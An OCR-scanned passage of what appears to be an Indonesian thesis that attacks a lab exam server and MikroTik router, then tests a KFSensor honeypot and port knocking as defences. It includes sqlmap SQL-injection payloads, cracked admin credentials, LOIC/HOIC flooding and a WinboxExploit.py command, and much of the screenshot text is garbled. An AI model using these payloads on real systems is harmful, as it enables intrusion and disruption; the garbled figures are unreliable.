Payload: id=1 UNION ALL SELECT NULL,NULL,.NULL,CONCAT(Bx71657a7a?71,8x4754624c4c644e594d57,0x7
,NULL#

Type: AND/OR time-hased bhlind

Title: MySQL > 5.08.11 AND time-based blind
Payload: id=1 AND SLEEPC(S)

jweb server operating system: Linux CentO0S 5.10
web application technology: Apache 2.2.3, PHP 5.1.6
bhack-end DBMS: MySQL 5.0

0] cracked admin_password 'imanl23’
0] cracked admin_username 'admin@admin.com’

1 B985f89e781d23b4049580 (iman123):admin@admin.com :
: 809t47362i4756e750101a adm.l.n@adm:.n com }
+,

Gambar 4.21 password dan username admin

Tahap terakhir didapatkan hasil password dan username dari
aplikasi web tersebut dengan password ‘imanl123’ sedangkan username
‘admin@admin.com’ yang selanjutnya akan digunakan penyerang untuk

dapat masuk kedalam aplikasi, seperti pada gambar 4.22 login aplikasi cbt.

— -

Computer Based Test

Masukan akun anda
l Login Sukses

adm \r\'ﬁdw iin.com

Ingat saya Login

Forgot you &
N

. A

Gambar 4.22 login aplikasi cbt
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Pada pengujian penelitian ini penyerang sudah berhasil masuk
kedalam aplikasi web tersebut dengan status berhasil masuk sebagai admin
dan mempunyai akses penuh terhadap aplikasi tersebut, berikut pada

gambar 4.23 tampilan halaman admin.

Computer Based Test =

Q Administrator Dashboard pata Apiikasi
admin@admin com
@ Dashboard Kelas Donen
Lihat ©® Lihat® Lihat @
% Relasi Jurusan Kelas Dosen Mahasiswa
50
@ Bank Soal
45
40
B Hasil Ujian 35

4 Manajemen Pengguna

20-¢
£ Pengaturan Jurusan Kelas

Gambar 4.23 Tampilan halaman admin
Kini penyerang bebas untuk mengakses data dan lain sebagainya
dalam aplikasi web ini karena memang belum ada pengamanan khusus
terhadap jaringan server, sehingga penyerang bebas dan berhasil
melakukan ddos attack sql injection pada aplikasi web ujian online

berbasis offline ini, berikut tabel 4.5 analisis hasil serangan SQL Injection.
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Tabel 4.5 Hasil SQL Injection

NO

Hasil SQL Injection
Berhasil Gagal

Jenis eksploitasi Keterangan

Terdapat 3 database
N yaitu cbt,
information_schema
dan test

Database

Terdapat 14 table
yaitu table dosen,
groups, h_ujian,
jurusan,
jurusan_matkul,
Table \ - kelas, kelas_dosen,
login_attempts,
mahasiswa, matkul,
m_ujian, tb_soal,
admin dan
users_group

Terdapat ada 3 yaitu
admin_id,
admin_passwword
dan admin_username

Column v -

Terdapat 2 entries
yaitu password
Entries \ - (iman123) dan
username
(admin@admin.com)

Dari hasil exploitasi database yang dilakukan oleh penyerang
menggunakan teknik SQL Injection sqlmap terdapat beberapa struktur
database, table dan coloumn yang ditampilkan yang selanjutnya
didapatkan password dan username admin yang akan digunakan untuk
masuk kedalam aplikasi web tersebut setelah tervalidasi dan dicoba masuk
ternyata penyerang berhasil masuk kedalam aplikasi web dengan
menggunakan username admin.

Setelah semua serangan berhasil dilakukan karena dalam pengujian

penelitian ini pada tahap awal yaitu server jaringan belum menggunakan sistem
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keamanan jaringan sehingga sangat rentan untuk dilakukan serangan oleh
pengguna yang tidak bertanggung jawab. Berikut daftar serangan ddos attack
yang berhasil dilakukan oleh penyerang pada tabel 4.6 serangan ddos attack
sebelum menggunakan honeypot dan port knocking.

Tabel 4.6 Hasil pengujian jaringan sebelum menggunakan honeypot dan port
knocking

. Proses runing
NO Jenis serangan Berhasil | Gagal Keterangan
Request paket masuk setiap and
Ddos Attack off conection 2987428 seconds,
1| equest Eloodin V - 2735891 seconds, 2583947
g g seconds, 3310978 seconds dan
2872984 seconds.
Traffick paket data yang masuk
. 7.117052e+8 kb, 5.363787¢e+8
p | DdosAtack Traffic| i kb, 7.023877e+7 kb,
g 2.116352e+9 kb dan
1.080268e+9.
Berhasil menampilkan
Ddos Brute Force
3 \ - username dan password router
Attack e
microtik
Berhasil menampilkan
Ddos Attack SQL password (iman123) dan
4 > \ - : .
injection username (admin@admin.com)
pada aplikasi web

Semua hasil pengujian berhasil dilakukan serangan pertama yaitu pada
ujian berbasis ofline dan serangan dilakukan bersamaan dengan url yang sama
dengan alamat ip yang sama yaitu serangan ddos attack request flooding paket
request time out yang masuk untuk melakukan and off conection 2987428
seconds, 2735891 seconds, 2583947 seconds, 3310978 seconds dan 2872984
seconds sedangkan pengujian serangan ddos attack traffic flooding paket berupa
byte data yang masuk 7.117052e+8 kb, 5.363787e+8 kb, 7.023877e+7 kb,

2.116352e+9 kb dan 1.080268e+9, serangan ini berhasil melumpuhkan server
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jaringan yang sedang berjalan melayani komputer client pada ujian jamin offline
dengan jaringan localhost. Selanjutnya serangan ddos brute force attack dari hasil
exploit yang dilakukan penyerang berhasil menampilkan username dan password
router microtik sedangkan pada pengujian serangan yang terakhir yaitu ddos
attack SQL injection dimana penyerang mencoba masuk pada aplikasi web
menggunakan user admin dan hasilnya penyerang berhasil menampilkan

password dan username untuk login ke dalam aplikasi tersebut.

4.1.2 Konfigurasi Honeypot dan Port Knocking
4.1.2.1 Konfigurasi Honeypot pada keamanan server jaringan

Dalam penelitian ini software honeypot yang akan digunakan adalah
KFSensor, setelah software ini terinstal dan terpasang selanjutnya yaitu
proses pengaturan konfigurasi pada sistem jaringan server. KFSensor
memiliki beberapa persyaratan perangkat keras sederhana. Minimal
membutuhkan prosesor 1 GHz, ruang hard disk 30 MB, dan RAM 128 MB.
Pabrikan merekomendasikan prosesor 1,5 GHz, ruang hard disk 500 MB,
RAM 512 MB, dan database SQL.

Setelah aplikasi terpasang dan menunjukkan bahwa Setup sudah
selesai, selanjutnya adalah proses konfigurasi KFSensor pada server
jaringan, sebagai berikut;

1. Menggunakan KFSensor
Saat Setup wizard ditutup, berikut tampilan KFSensor utama yang

ditunjukkan pada Gambar 4.24 layar utama KFSensor.
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Gambar 4.24 Layar utama KFSensor

Pada kolom di sebelah Kiri berisi daftar nomor port, jika ikon di
sebelah Kiri daftar port berwarna hijau, itu berarti KFSensor secara aktif
memantau port tersebut untuk mencari serangan. Jika ikon berwarna biru,
itu berarti telah terjadi kesalahan dan KFSensor tidak mengawasi eksploitasi
yang ditujukan ke port tertentu tersebut.

Setelah perangkat lunak aktif dan berjalan selanjutnya menguiji
perangkat lunak tersebut dengan meluncurkan pemindaian port terhadap
mesin yang menjalankan KFSensor. Untuk pemindaian port menggunakan
utilitas shareware. Ini hanya memindai blok alamat ip, mencari port
terbuka. Pada gambar 4.25 menunjukkan bagaimana KFSensor bereaksi

terhadap pemindaian port parsial.
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Gambar 4.25 KFSensor bereaksi terhadap pemindaian port parsial

Jika ikon sebelah kiri pada port yang dipindai berubah menjadi
merah menunjukkan aktivitas terbaru. Ada ringkasan dari semua aktivitas
yang terdeteksi di kolom sebelah kanan atau apliksi yang sedang berjalan
pada komputer kita. Ikon di sebelah setiap entri diberi kode warna merah
atau kuning sesuai dengan tingkat keseriusan aplikasi berjalan. Untuk
melihat informasi yang lebih detail kita bisa klik pada aplikasi yang
terdeteksi waktu mulai dan berakhir peristiwa aplikasi berjalan pada
komputer, alamat ip mesin tempat aktivitas berasal, dan bahkan domain

tempat mesin penyerang berada.
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2. Membangun log aktivitas

Setelah honeypot dapat mendeteksi aktivitas dan dapat mencatat
beberapa aktivitas selanjutnya yaitu KFSensor mencatat aktivitas ke
database. Dengan begitu dapat mencatat aktivitas yang lebih permanen
agar bisa mendeteksi serangan DDOS attack sehingga bisa memberikan
keamanan pada server jaringan yang digunakan.

KFSensor melakukan aktivitas log secara default pada file teks dari
pada file database, penting untuk menggunakan database adalah karena
database umumnya memiliki kapasitas yang lebih tinggi dan lebih mudah
untuk mencari apa yang dibutuhkan pada file teks. Database pilihan untuk
KFSensor adalah SQL, pilih perintah Log Database dari menu Pengaturan
konsol KFSensor. Setelah itu akan muncul kotak dialog yang ditunjukkan
pada Gambar 4.26. Cukup isi bagian yang kosong untuk menghubungkan

KFSensor ke database.

Database Log f: il

—QDEC Settings

DS fl

User name: I

Password: I

— Cpkions
[ Enable database logging

I Monitor uses dakabase

DE Latency: I

[ Skore binary as bexk

[ Mermory conservation

—Database Version

Configure |
ik I Cancel I Help I

Gambar 4.26 Kotak dialog Log Database
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3. Mengubah konfigurasi tindakan pada honeypot KFSensor

Untuk mengubah aturan, pilih perintah edit skenario aktif dari menu
skenario. Setelah itu pilih kotak dialog yang berisi ringkasan dari semua
aturan yang ada, klik edit untuk mengedit aturan atau klik tombol tambah
untuk membuat aturan baru. Kedua prosedur tersebut bekerja dengan cara
yang sama.

Klik tombol Add akan muncul kotak dialog Add Listen, ditunjukkan

pada gambar 4.27 kotak dialog add listen.

Add Listen x|
rListen On
Mame: I
Protocal: % Tcp
i UDP
Part: I
Bind Address: I j
ackive: W

—hckion
Ackion Type: ' Close
" Read and Close

™ Sim Banner
" Sim Skd Server

Severity: IMedium vI
Time Cuk: I Milliseconds

Sirn Mame:

—Wisitor DS Atkack Limits

-
Max connections per IP: I
Ackion on max connections per IP: Iw "l

(0] 4 I Cancel | Help |

Gambar 4.27 kotak dialog add listen

Beberapa bidang pilihan seperti protocol, port, dan Bind Address.

Bidang ini memungkinkan kita memilih untuk aturan listen/mendengarkan.
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Misalnya, kita dapat mengkonfigurasi aturan untuk listen port TCP pada
alamat ip 192.168.10.2 bagian alamat mengikat dari aturan pada Bind
Address.

Sekarang setelah kita menentukan listen, saatnya untuk
mengkonfigurasi tindakan yang diambil aturan saat lalu lintas yang
terdeteksi pada port yang ditentukan. Pilihan adalah close, read and close,
Sim Banner, dan Sim Std Server. Opsi tutup memberi tahu aturan untuk
hanya mengakhiri koneksi. Opsi Sim Std Server dan Sim Banner berkaitan
dengan emulasi server. Opsi Sim STD server memungkinkan mengemulasi
server yang lebih kompleks, seperti server I11S. Jika memilih untuk opsi sim
kita harus mengisi nama simulator tepat di bawah pada time out.

Bagian terakhir dari kotak dialog add listen adalah bagian serangan
DOS attack. Bagian ini memungkinkan mencegah serangan denial of
service terhadap KFSensor. dapat menentukan jumlah maksimum koneksi
ke mesin per alamat ip, jika ambang terlampaui, kita dapat memilih untuk
mengabaikan koneksi yang berlebihan atau dapat mengunci alamat ip yang
menyerang.
4.1.2.2 Konfigurasi port knocking pada keamanan server jaringan

Pada konfigurasi port knocking perangkat yang digunakan adalah
microtik setelah pengaturan jaringan pada server selesai selanjutnya iyalah
pengaturan port knocking, sebagai berikut;

1. Memberi alamat pada ip yang di gunakan untuk login pada address list

secara manual. Isikan pada kolom name nama group sesuai dengan
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keinginan, sedangkan addres isikan sesuai dengan alamat yang akan
diizinkan masuk oleh pengguna dan pada timeout adalah pengaturan
lamanya pengguna atau alamat yang akan masuk. Seperti pada gambar

4.28 New firewal addres list.

Mew Firewall Address List [=]

Mame " $|
Address |192.168.10.1/2% | Cancel

Timeout |00:01:00 |~ Apply

Disable
Comment

Copy

Bl

Remove

|enabled

Gambar 4.28 New firewal addres list

. Selanjutnya menambahkan rule vyaitu dengan memasukkan ip
address host yang mengirimkan paket ICMP (ping) ke router ke dalam
sebuah address-list secara otomatis yang sudah terdaftar pada address-
list yang bisa akses winbox ke router dan lama waktu yang telah di
tentukan. Isikan pada general chain yaitu input, protokol isikan icmp,
Action isikan add src to address list, Address list isikan nama yang di
buat di address list yaitu ping sedangkan timeout adalah lama waktu yang
di yang di berikan jika nama dari ping tadi masuk, seperti pada gambar

4.29 Firewall rule general.
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Mew Firewall Rule m
General | Advanced Extra Action  Stabistics General Advanced Bxtra Action | Statistics 0K
Chain: |input i Action |i Cancel |
Sre. Address. hd T Log Apply
Dt Address | |« Log Pref - I\
Protocol: [ |1 (icmp) 265 Address Lisl | ping [+ (!
src. Port v Timeaut | 00:01-00 |~ I\
ad - | bemoe |
anv Port I— - . Reset Counters
pap- - Reset All Counters
In. Interface: ||

Out. Interface: | =

Packet Mark: b
Connection Mark: | =

Routing Mark. | n

Routing Table: “

Connection Type: | r

Connection State: =
Connection NAT State: |+

Gambar 4.29 Firewall rule general
3. Membuat rule firewall filter untuk melakukan blocking akses winbox ke
router dari sumber (src-address) selain dari ip address yang sudah
terdaftar dalam address-list yaitu untuk melakukan aksi blokir jika ada
serangan ddos attack dari alamat asing yang hendak masuk pada server
jaringan. Berikut daftar isian pada general, chain isikan input, protokol
isikan icmp, dst port isikan 80,22,21,8291 port ini adalah port http,SSH
FTP dan Winbox advanced. Pada src address list isikan ping yaitu nama
group yang di buat di address list sebelumnya pada gambar 4.28

sedangkan pada action isikan drop atau menutup port 80,22,21,8291



yang di gunakan login kecuali ip yang sudah terdaftar di address list,

seperti pada gambar 4.30 Firewall rule advanced;

Leneval| Advanced Bdra  Acton Statistics General ﬂml‘h‘ﬂlaﬁa Action Statetics General Advanced Extra ACOon | Seatistics oK
Chain | ingust Sre Address Lis | |Jping 5 - cien P e
Ser Address st Acdress List - L Aty |
Dst. Address = —_— -
Layer? Protocal - Lizg Prifix Disatie
protecal | |6 (tep) %]~ m—
: S Content | - L
ST Poit i —_— Copy |
. Connection Byte: =
[t Port BL22 8291 - Remare
§ Con ection Ral - L
Ary. Port: - [ Reset Counters |
Per Connection Oassdi e
= = Resit Al Coumters|
Sc MAC Addresi | I~
In. Infesface e
Out. Infesfacs | - Cut Bridge Por -
In. Bridge Port | =
Paciet Mark 5
Connection Mar - Paac Palicy | -
g Mark M Ingress Priofity -
Reuting Taklh - Priarity: .
Connection Ty - OSCF [TO5): -
Conmegtion Stati | - TCP M55
Connection NAT Stat - Packet Sze *
Randem | -
* TCPFlags
™ ICMP Options
1P Dptions: -
T -

Gambar 4.30 Firewall rule advanced

4. Kemudian akan muncul tabel firewall seperti gambar 4.31 di bawah,
dimana ada ip yang status pada action yaitu acc sedangkan status chain
forward artinya ada trafik paket yang melewati router, sedangkan status
action pada add dan drop yaitu chainya input yang artinya ada trafik paket
yang masuk ke router, seperti pada gambar 4.31 Tabel firewall.

Filter Rufes NAT Mangle Service Ports Connections Address Lists Layer? Protocols
= | | el [¥

inters || 00 Reset All Counters [ s Tl

. |Action  Chain Stc Address Dst Address Proto. (Sc Port  [Dst Port  In fnte [Out In. By >
.+ speCial dumavy rule to show fasttrack counters
00 «facc. forward
1 £ add _ input 10c S
2 HKarop input 6 (tep) 80.22.82 14
. ¢

3 items

Gambar 4.31 Tabel firewall
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5. Selanjutnya coba keluar dari winbox lalu masuk lagi dan hasilnya tidak bisa

connect atau terhubung, jika ingin login harus melakukan ping terlebih

dahulu dengan alamat ip address yang sudah dibuat.

File Tools

WinBox v3.7 (Addresses)

Connect To: | |EFSLTRN]

Legin: admin

Password: |#*% %%

Cancel

[v Keep Password

= Open In New Window

Connecting to 192.168.10.1

Gambar 4.32 Menu login pada winbox

6. Kemudian ping ip yang telah terdaftar di address list, lalu coba login lagi

dan hasilnya admin berhasilnya masuk pada winbox mikrotik.

ssion  Settings Dashboard

H " | sare Mode
As Quick Set
5 CAPSMAN
/= Interfaces
. Wireless
&4 Bodge
=2 PP
== Switch
“1% Mesh
o ]

MPLS
#5 Routing
iof System
B cucues
L Ailes

|| Leg

B Radius

X Toois !
& New Terminal
| Make Supout nf
& manual

3 New WinBox

Session: 19216210 1

Firewal
Filter Rules NAT Mangle

'+ = = il

L L
|Name / |ngdress

D @ ping 192.168.10 6

Gambar 4. 2 Hasil login winbox microtik

Fle Edit View Search Terminal Help

iboard < jaringan.
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Setelah admin berhasil masuk dengan menggunakan metode port

knocking selanjutnya admin bisa melihat lalulintas jaringan yang dilewati

user jika ada ip asing yang hendak menyusup admin bisa melakukan

tindakan pencegahan dengan memblokir ip yang tidak dikenal yang sudah

terdeteksi terlebih dahulu pada honeypot KFSensor.

Tabel 4.7 Hasil konfigurasi honeypot dan port knocking pada server jaringan

Jenis Hasil konfigurasi Rule Keteranaan
keamanan | Berhasil | Gagal konfigurasi g
Mengalihkan/m
enjebak
Protocol TCP, serangan ddos
Honeypot \ - port FTP 21 attack dan
ip 192.168.10.2 | merekam log
aktifitas pada
server jaringan
Port webfig (tcp | Mengamankan
80), SSH (tcp port pada server
Port N i 22), FTP (tcp jaringan
Knocking 21), winbox (tcp

8291)
ip 192.168.10.1

Fungsi dari honeypot diterapkanya pada keamanan server jaringan

adalah untuk mendeteksi adanya serangan sekaligus memantau setiap

aktivitas user client yang terhubung pada server jaringan, konfigurasi pada

honeypot menggunakan ip 192.168.10.2 sebagai alamat untuk menjebak

serangan ddos attack, port yang digunakan adalah FTP 21 protocol TCP

karena sistem jaringan ini menggunakan localhost area conenection,

sedangkan port knocking bertugas mengamankan port-port pada jaringan

agar tidak mudah bagi user asing masuk kedalam sistem jaringan dan
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untuk memblokir user yang tidak dikenal jika ingin mengganggu sistem
jaringan, port-port yang diamankan adalah port 80,22,21 dan 8291.

4.1.3 Analisis serangan setelah menggunakan kemanan jaringan Honeypot

dan Port Knocking
4.1.3.1 Mendeteksi serangan ddos attack request flooding dan traffick
flooding

Setelah honeypot terpasang pada sever jaringan dan port knocking

telah diatur konfigurasinya pada microtik untuk keamanan server jaringan,

selanjutnya akan dilakukan penyerangan ulang agar dapat menganalisis

hasil dari serangan setelah honeypot dan port knocking terpasang pada

sistem jaringan server, berikut hasil serangan ddos attack request flooding

pada gambar 4.34 Serangan setelah server jaringan terpasang honeypot dan

port knocking.

X - —
2= Low Orbit Ion Cannon | When harpoons, air strikes and nukes fails | v. 1.0.8:

1

2 Ready?
URL n-pertama Lockon
Stop flooding
P Lock on =top -

192.168.10.1

Praetoxtcom

Gambar 4.34 Serangan ddos attack request flooding setelah server jaringan
terpasang honeypot dan port knocking
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Dapat dilihat bahwa pada pengujian serangan setelah terpasangnya
honeypot dan port knocking request berhasil masuk pada jaringan namun
telah dialihkan dan masuk pada server honeypot KFSensor jadi serangan ini
tidak sampai mengganggu server jaringan sehingga tidak mengganggu
layanan client-server jaringan yang sedang melaksanakan ujian jamin.
Bersamaan dengan serangan request flooding dilakukan juga pengujian
serangan ddos attack traffick flooding dengan hasil seperti pada gambar 4.35
Serangan ddos attack traffick flooding setelah server jaringan terpasang

honeypot dan port knocking.

(Bl H.OLC. | v2.1.003 | Truth is on the side of the oppressed. | ]

IN GEOSYNCHONOUS ORBIT

Target Power Booster Status
92.168.10.1/ujian-perta... user-agent-test.hoic

%, HIGH ORBIT ION CANNON
ENGAGING TARGETS THREADS OUTPUT TARGETS

HI&H ORBIT EIRE TEH LAZER! < 4 > 2,261006e+7 kb DN =
ION CANNON '

249 CANNONS DETECTED

Gambar 4.35 Serangan ddos attack traffick flooding setelah server jaringan
terpasang honeypot dan port knocking

Pada pengujian serangan ddos attack traffick flooding juga berhasil
masuk pada jaringan berupa byte data yang juga terdeteksi dan dialihkan
oleh honeypot, pengujian serangan ddos attack request flooding dan traffick
flooding setelah terpasangnya honeypot dan port knocking dilakukan 5 kali
pengujian dengan hasil serangan sebagai berikut, pada tabel 4.8 Hasil
serangan ddos attack request flooding dan traffick flooding setelah

terpasangnya honeypot dan port knocking pada server jaringan.
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Tabel 4.8 Hasil serangan ddos attack setelah terpasangnya honeypot dan port

knocking
Pengujian Jenis Ip target/ Waktu Level Hasil
serangan port serangan serangan
Ddos
attack 192.168.10.1/ 10 1572283
. Faster
request 21 menit seconds
.. flooding
Uil Ddos
attack 192.168.10.1/ 10 Hiah 2.261006e+7
traffick 21 menit g kb
flooding
Ddos
attack 192.168.10.1/ 10 1094759
. Faster
request 21 menit seconds
. flooding
Uji2 Ddos
attack 192.168.10.1/ 10 Hiah 2.063770e+7
traffick 21 menit g kb
flooding
Ddos
attack 192.168.10.1/ 10 1948750
. Faster
request 21 menit seconds
.. flooding
Ui Ddos
attack 192.168.10.1/ 10 Hiah 3.055146e+7
traffick 21 menit g kb
flooding
Ddos
attack 192.168.10.1/ 10 1749371
. Faster
request 21 menit seconds
.. flooding
Uji4 Ddos
attack 192.168.10.1/ 10 Hiah 2.780476e+7
traffick 21 menit g kb
flooding
Ddos
attack 192.168.10.1/ 10 1430156
. Faster
request 21 menit seconds
.. flooding
Uiis Ddos
attack 192.168.10.1/ 10 Hiah 2.509194e+7
traffick 21 menit g kb
flooding
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Pengujian serangan dilakukan dengan lama waktu rata-rata 10 menit
karena setelah serangan ddos attack request flooding dan traffick flooding
terdeteksi oleh honeypot selanjutnya dilakukan pemblokiran user dengan
port knocking. Hasil serangan ddos attack request flooding yang berhasil
masuk pada server honeypot pengujian serangan pertama 1572283 seconds,
serangan kedua 1094759 seconds, serangan ketiga 1948750 seconds,
serangan keempat 1749371 seconds dan serangan kelima 1430156 seconds.
Sedangkan pada pengujian serangan ddos attack traffick flooding paket byte
data yang masuk ke server honeypot pada serangan pertama 2.910889¢e+6
kb, serangan kedua 2.063770e+7 kb, serangan ketiga 3.055146e+7 kb,
serangan keempat 2.780476e+7 kb dan serangan kelima 2.509194e+7 kb,
setiap serangan hasil data request timout dan byte data berbeda-beda
jumlahnya dikarenakan tergantung pada kecepatan akses jaringan pada saat
serangan dan juga kesiapan ruang pada port jaringan yang berbeda ketika
serangan ddos masuk walaupun waktu pada saat serangan dilakukan sama.
Serangan yang masuk pada server honeypot tidak sampai masuk pada
komputer server jaringan sehingga tidak mengganggu proses ujian yang
sedang berlangsung. Dalam penelitian ini penyerang menggunakan ip
192.168.10.3 untuk melakukan serangan ke ip server jaringan, berikut hasil
serangan seperti pada gambar 4.36 Honeypot KFSensor deteksi serangan

ddos attack request flooding dan traffick flooding.
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22/07/20209:52:11.152
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Duration
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1212
1220
2n
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1
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1

1 ]

Protocol

Sensor Port

Name
FTP
FTP

Visitor

192.168.10.3
192.168.10.3
192,168,103
192.168.103
192.168.103
192.168.10.3
192.168.10.3
192,168,103
192.168.103
192.168.103
192.168.103
192.168.10.3
192.168.10.3
192,168,103
192.168.103
192.168.103
192.168.10.3
192,168,103
192,168,103
192.168.103
192.168.103
192.168.103
192.168.10.3
192.168.10.3
192,168,103
192.168.103
192.168.103
192.168.10.3
192,168,103
192,168,103
192.168.103
192168103

Description

Received

A cat s fine too. Desudesudesu~...
A cat is fine too, Desudesudesu~...
A cat is fine too. Desudesudesu~..
A cat is fine too. Desudesudesu~...
A cat is fine too. Desudesudesu~...
A catis fine too, Desudesudesu~...
A catis fine too, Desudesudesu~...
A cat s fine too. Desudesudesu~...
A cat is fine too, Desudesudesu~...
A cat is fine too. Desudesudesu~...
A cat s fine too, Desudesudesu~..,
A cat is fine too. Desudesudesu~...
A catis fine too, Desudesudesu~...
A cat s fine too, Desudesudesu~...
A catis fine too, Desudesudesu~..
A catis fine too. Desudesudesu~..
A cat is fine too, Desudesudesu~...
A cat is fine too. Desudesudesu~...
A catis fine too. Desudesudesu~...
A cat is fine too. Desudesudesu~..
A cat is fine too. Desudesudesu~
A cat is fine too, Desudesudesu~...
A cat is fine too, Desudesudesu~...
A cat is fine too, Desudesudesu~...
A cat is fine too. Desudesudesu~.
A cat s fine too, Desudesudesu~
Aatisfiotoe Desudesudes-

Gambar 4.36 Honeypot KFSensor deteksi serangan ddos attack request flooding
dan traffick flooding

Serangan ddos attack yang masuk pada sistem jaringan berhasil

dialinkan oleh honeypot KFSensor yang bekerja secara realtime sehingga

serangan tidak sempat merusak pengguna lain yang sedang terhubung ke

jaringan server untuk melakukan ujian jamin offline, analisa serangan yang

masuk yaitu dari port 21 FTP dengan ip address 192.168.10.3 jenis

serangan ddos attack request flooding dan traffick flooding dengan nama

paket data traffick dan request yaitu desudesudesu, berikut gambar 4.37

hasil dari aktivitas paket yang masuk pada logs acsess server xampp control

panel.
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| access - Notepad
pa

File Edit Format View Help

. Desudesudesu~A
. Desudesudesu~A
. Desudesudesu~A
. Desudesudesu~A
. Desudesudesu~A
. Desudesudesu~A
. Desudesudesu~A
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192.168.10.3 - -
192.168.10.3 -
192.168.10.3 -
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Desudesudesu~A cat is
Desudesudesu~A cat is
Desudesudesu~A cat is
Desudesudesu~A cat is
Desudesudesu~A cat is
Desudesudesu™ 414 347
156 +0800] "GET /ujian-pertama
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Desudesudesu~A
Desudesudesu~A
Desudesudesu~A
Desudesudesu~A

301 344
301 344

HTTP/1.0"

"http://www.google.com/?q=192
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Gambar 4.37 Logs acsess server xampp control panel

Didapatkan hasil bahwa serangan yang masuk terdapat dua jenis

serangan yaitu ddos attack request flooding dan traffick flooding yang

mencoba masuk secara bergantian dengan tujuan ingin merusak server

jaringan agar tidak bisa digunakan oleh pengguna user lain.

Serangan yang sudah terdeteksi oleh honeypot kfsensor selanjutnya
dilakukan tindakan pemblokiran serangan pada server jaringan agar tidak
terus menerus akan memberatkan komputer CPU server bekerja untuk
melayani client yang sedang terhubung ke jaringan dengan menggunkan
microtik dengan metode port knocking untuk mengakses server microtik
dengan meode ketukan tertentu untuk bisa masuk ke port server jaringan
yang sudah dilakukan konfigurasi, seperti pada gambar 4.38 Memblokir

serangan ddos attack dengan port knocking.
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Gambar 4.38 Memblokir serangan ddos attack pada port knocking

Setelah masuk pada microtik dengan metode port knocking
didapatkan telah masuk serangan ddos attack request flooding dengan
menggunakan software loic dan traffick flooding menggunakan software
hoic yang selanjutnya akan dilakukan pemblokiran pada address list agar
serangan benar-benar dihentikan sehingga tidak lagi mengganggu sistem
pada server jaringan.

Dengan digunakannya honeypot untuk menjebak serangan ddos attack
sebagai target maka CPU pada komputer serverpun bekerja normal seperti
biasa karena semua request dan traffick paket data yang masuk pada

jaringan tidak sampai kepada komputer server, namun telah disaring pada
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komputer server honeypot yang bekerja terus menerus secara realtime
selama sistem jaringan digunakan untuk melayani pengguna lain pada saat
ujian offline berjalan. Berikut gambar 4.39 Hasil kerja CPU komputer server
setelah adanya serangan ddos attack dan setelah adanya pengamanan server

jaringan dengan honeypot dan port knocking.

File Options View Help

| Applications | Processes ISeruices | Performance |Networkjng IUsers |

CPU Usage CPU Usage History

Memary Physical Memory Usage History

Physical Memory (MB) System

Total 1915 Handles 15334

Cached 711 Threads 622

Available 694 Processes 51

Free 34 Up Time: 0:00:33:03
Commit {ME) 1404 3831

Kernel Memory (MB)

Paged 124

Manpaged 71 [ [Fg) Resource Monitor... ]

Processes: 51 CPU Usage: 19% Physical Memory: 63%

—_——
Gambar 4.39 CPU usage history seletah penerapan honeypot dan port knocing

Pada analisa kinerja komputer server CPU usage history presentasinya
hanya mencapai 5%-19% yang artinya komputer server bekerja stabil
walaupun adanya terjadi serangan ddos attack secara terus menerus selama
sistem jaringan berjalan, berikut juga hasil dari analis pada performance
traffick jaringan pada gambar 4.40 Performance traffick local area

connection.
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|

File Options View Help

Applications | Processes | Services | Performance Networking | Users

Wireless Network Connection

Local Area Connection

Adapter Name Network Utlliza... = Link Sp... = State

Local Area Con... 0% - Disconnected

Wireless Netwao... 0%  65Mbps Connected
Processes: 52 CPU Usage: 19% Physical Memory: 56%

Gambar 4.40 Performance trafick local area connection

Dari hasil analisis kinerja jaringan local area connection setalah
adanya serangan ddos attack didapatkan persentasinya mencapai 1%-5%
kinerja sistem pada jaringan stabil dibandingkan pada saat sebelum
digunakanya sistem keamanan jaringan honeypot dan port knocking
traffiknya meningkat mencapai 20%-45%, berikut tabel 4.9 Analisis
performance CPU usage history dan networking history LAC serangan

setelah terpasang honeypot dan port knocking.
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Tabel 4.9 Analisis hasil komputer server setelah terpasang honeypot dan port

knocking
Setelah
Penauiian Rata-rata Sebelum Setelah terpasang
guJ performance | serangan | serangan | honeypot dan
port knocking
ﬁ';égfage 506-1206 | 71%-85% 506-19%
Uji 1 .
Hfé‘t’(‘;‘;;kl'_rfc 19%-5% | 20%-25% 1%-5%
ﬁi%xsage 506-23% | 75%-90% 506-229%
Uji 2 .
':'ﬁ;‘t’(‘;‘;;kffc 19%-5% | 20%-30% 1%-7%
El'iz%xsage 506-16% | 70%-89% 506-25%
Uji 3 .
':'ﬁ;‘t’(‘;‘;;kffc 19%-5% | 20%-25% 1%-5%
ﬁi%xsage 506-21% | 74%-96% 506-24%
Uji 4 .
';"f;‘t’(‘;‘;;kl'_rfc 1%-5% | 25%-45% 1%-8%
ﬁi%xsage 506-18% | 70%-92% 506-17%
Uji 5 :
';"?;‘t’;‘z;kl'_rfc 1%-5% | 25%-35% 1%-5%

Setelah honeypot dan port knocking terpasang pada server jaringan
serangan ddos attack request flooding dan ddos attack traffick flooding yang
masuk ke dalam server honeypot kfsensor kinerja komputer server dan
client pun tidak terganggu dimana kinerja performance CPU usage menjadi
lebih stabil pada pengujian pertama rata-rata mencapai 5%-19%, pengujian
kedua 5%-22%, pengujian ketiga 5%-25%, pengujian keempat 5%-24% dan
pengujian kelima 5%-17% sedangkan Kkinerja performance pengujian

pertama pada jaringan rata-rata mencapai 1%-5%, pengujian kedua 1%-7%,
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pengujian ketiga 1%-5%, pengujian ke eempat 1%-8%, dan pengujian
kelima 1%-5%.
4.1.3.2 Mendeteksi serangan Ddos Brute Force attack

Pada saat melakukan ddos brute force attack hal yang paling utama
yang harus penyerang ketahui adalah mendapatkan ip address target untuk
bisa dilakukan eksploit microtik server target dengan software advanced ip
scanner, setelah didapatkan ip target 192.168.10.1 selanjutnya proses
exploit microtik server dilakukan namun hasilnya gagal karena microtik
sudah menggunakan port knocking untuk mengamankan server jaringan
sehingga penyerang tidak bisa menembus port-port yang sudah ditutup pada
microtik yang sudah diprotek keamanan jaringannya dengan metode port
knocking dengan status connection error, seperti pada gambar 4.41 eksploit

microtik setelah pengaturan port knocking.

BEX C\Windows\system32\cmd.exe _ E@d_hj

C:“\Python27>python.exe HinboxExploit.py 192.168.18.1 E
Connection error: rrno 100611 No connection could be made because thel
achine actively refused it

C:“\Python27>_

Gambar 4.41 Eksploit microtik setelah pengaturan port knocking
Dalam pengujian penyerangan diatas dapat dilihat bahwa serangan

yang dilakukan tidak berhasil, namun dalam proses scanning mendapatkan
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ip address dengan metode nmap terdeteksi oleh honeypot pada protocol

TCP, seperti pada gambar 4.42 Honeypot deteksi serangan brute force.

&) KFSensor Professional - Evaluation Trial [= @]
File View Scenario Signatures Settings Help

